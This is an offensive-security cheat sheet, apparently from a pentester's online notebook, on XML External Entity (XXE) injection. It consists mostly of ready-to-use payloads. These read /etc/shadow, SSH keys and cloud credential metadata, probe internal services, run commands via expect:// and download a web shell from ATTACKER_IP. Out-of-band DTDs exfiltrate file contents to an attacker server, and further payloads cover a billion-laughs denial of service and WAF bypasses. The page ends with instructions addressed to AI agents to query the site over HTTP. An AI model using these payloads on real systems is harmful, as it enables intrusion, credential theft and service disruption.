# XXE Injection

Exploit XML parsers to read local files, perform SSRF, or achieve RCE.

***

## Identification

Look for:

* XML data in POST requests
* SOAP APIs
* File uploads accepting SVG/XML/DOCX
* `Content-Type: application/xml`

### Test for XXE

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
  <!ENTITY xxe "XXE_TEST">
]>
<root>
<data>&xxe;</data>
</root>
```

If `XXE_TEST` appears in response = vulnerable

***

## Basic XXE - Read Local Files

### /etc/passwd

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<email>&xxe;</email>
</root>
```

### Windows Files

```xml
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
```

### Common Files to Read

```
file:///etc/passwd
file:///etc/shadow
file:///etc/hosts
file:///proc/self/environ
file:///var/www/html/config.php
file:///home/user/.ssh/id_rsa
file:///c:/windows/win.ini
file:///c:/inetpub/wwwroot/web.config
```

***

## PHP Filter - Read Source Code

Use PHP wrapper to base64 encode (prevents XML breaking):

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<root>
<email>&xxe;</email>
</root>
```

Decode response:

```bash
echo "BASE64_DATA" | base64 -d
```

***

## XXE to SSRF

### Port Scan

```xml
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://127.0.0.1:22">
]>
```

### Internal Services

```xml
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">
]>
```

### Cloud Metadata

```xml
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
```

***

## XXE to RCE (PHP expect://)

Requires `expect` module installed:

```xml
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "expect://id">
]>
<root><email>&xxe;</email></root>
```

### Download Web Shell

```xml
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "expect://curl$IFS-O$IFS'http://ATTACKER_IP/shell.php'">
]>
<root><email>&xxe;</email></root>
```

Note: Use `$IFS` instead of spaces to avoid breaking XML.

***

## Advanced XXE - CDATA Exfiltration

For files with XML special characters (`<`, `>`, `&`):

### Host xxe.dtd on your server

```xml
<!ENTITY joined "%begin;%file;%end;">
```

### Payload

```xml
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % begin "<![CDATA[">
  <!ENTITY % file SYSTEM "file:///var/www/html/config.php">
  <!ENTITY % end "]]>">
  <!ENTITY % xxe SYSTEM "http://ATTACKER_IP:8000/xxe.dtd">
  %xxe;
]>
<root><email>&joined;</email></root>
```

Start server:

```bash
python3 -m http.server 8000
```

***

## Blind XXE - Error-Based

When no output displayed but errors are shown.

### Host error.dtd

```xml
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
```

### Payload

```xml
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://ATTACKER_IP:8000/error.dtd">
  %xxe;
  %error;
]>
```

File contents appear in error message.

***

## Blind XXE - Out-of-Band (OOB)

Completely blind - exfiltrate via HTTP request.

### Host oob.dtd

```xml
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://ATTACKER_IP:8000/?data=%file;'>">
```

### Payload

```xml
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://ATTACKER_IP:8000/oob.dtd">
  %xxe;
  %oob;
]>
<root>&content;</root>
```

### Receive & Decode

```bash
# Start listener
php -S 0.0.0.0:8000

# Or use netcat and decode manually
nc -lvnp 8000
# GET /?data=cm9vdDp4OjA6M... HTTP/1.1
echo "cm9vdDp4OjA6M..." | base64 -d
```

### PHP Auto-Decode Script

```php
<?php
if(isset($_GET['data'])){
    error_log("\n\n" . base64_decode($_GET['data']));
}
?>
```

***

## XXE in File Uploads

### SVG XXE

```xml
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg">
  <text font-size="16" x="0" y="16">&xxe;</text>
</svg>
```

### XLSX/DOCX XXE

1. Unzip the file
2. Edit `[Content_Types].xml` or `xl/workbook.xml`
3. Add XXE payload
4. Re-zip and upload

***

## XXE DoS (Billion Laughs)

```xml
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<lolz>&lol5;</lolz>
```

Note: Modern servers often protected against this.

***

## XXEinjector (Automated Tool)

```bash
git clone https://github.com/enjoiz/XXEinjector.git
cd XXEinjector

# Create request file with XXEINJECT marker
cat > xxe.req << 'EOF'
POST /submit HTTP/1.1
Host: TARGET
Content-Type: application/xml

<?xml version="1.0"?>
XXEINJECT
EOF

# Run OOB exfiltration
ruby XXEinjector.rb --host=ATTACKER_IP --httpport=8000 \
  --file=xxe.req --path=/etc/passwd --oob=http --phpfilter

# Check results
cat Logs/TARGET/etc/passwd.log
```

***

## Bypass WAF

### UTF-7 Encoding

```xml
<?xml version="1.0" encoding="UTF-7"?>
+ADw-!DOCTYPE foo +AFs-
  +ADw-!ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI-+AD4-
+AFs-+AD4-
```

### Parameter Entities Only

```xml
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://ATTACKER_IP/evil.dtd">
  %xxe;
]>
```

### URL Encoding

```
file:///etc%2fpasswd
```

***

## Quick Reference Payloads

| Target        | Payload                                                                                  |
| ------------- | ---------------------------------------------------------------------------------------- |
| /etc/passwd   | `<!ENTITY x SYSTEM "file:///etc/passwd">`                                                |
| PHP Source    | `<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=config.php">`            |
| AWS Metadata  | `<!ENTITY x SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">` |
| SSRF Internal | `<!ENTITY x SYSTEM "http://127.0.0.1:8080/">`                                            |
| RCE (expect)  | `<!ENTITY x SYSTEM "expect://id">`                                                       |


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://book.ice-wzl.xyz/web/xxe.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
